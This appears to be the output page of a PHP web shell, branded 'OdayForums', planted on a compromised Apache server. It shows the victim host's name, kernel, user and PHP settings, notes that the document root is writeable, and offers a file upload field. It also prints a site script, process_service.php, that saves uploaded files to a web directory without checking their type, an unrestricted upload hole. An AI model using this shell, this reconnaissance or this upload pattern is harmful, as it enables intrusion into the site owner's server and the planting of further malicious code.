Sh3ll
OdayForums


Server : Apache
System : Linux server1.cgrithy.com 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : nobody ( 99)
PHP Version : 8.1.23
Disable Function : NONE
Directory :  /home/dnlcambodia/public_html/dnl_dashboard/Service/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/dnlcambodia/public_html/dnl_dashboard/Service/process_service.php
<?php
// Database connection
include '../PHP/config/db_conn.php';


// Process form submission
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $title = $_POST["title"];
    $content = isset($_POST["quill-content"]) ? $_POST["quill-content"] : '';

    // Check if image was uploaded
    if(isset($_FILES["image"]) && $_FILES["image"]["error"] == 0) {
        $target_dir = "uploads/";
        $target_file = $target_dir . basename($_FILES["image"]["name"]);
        $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

        if (move_uploaded_file($_FILES["image"]["tmp_name"], $target_file)) {
            // Insert data into database using prepared statement
            $sql = "INSERT INTO service (title, content, image) VALUES (?, ?, ?)";
            $stmt = $conn->prepare($sql);
            $stmt->bind_param("sss", $title, $content, $target_file);

            if ($stmt->execute()) {
                echo "Image uploaded successfully.";
            } else {
                echo "Error: " . $sql . "<br>" . $stmt->error;
            }

            $stmt->close();
        } else {
            echo "Sorry, there was an error uploading your file.";
        }
    } else {
        echo "No image uploaded or an error occurred.";
    }
}

$conn->close();
?>

ZeroDay Forums Mini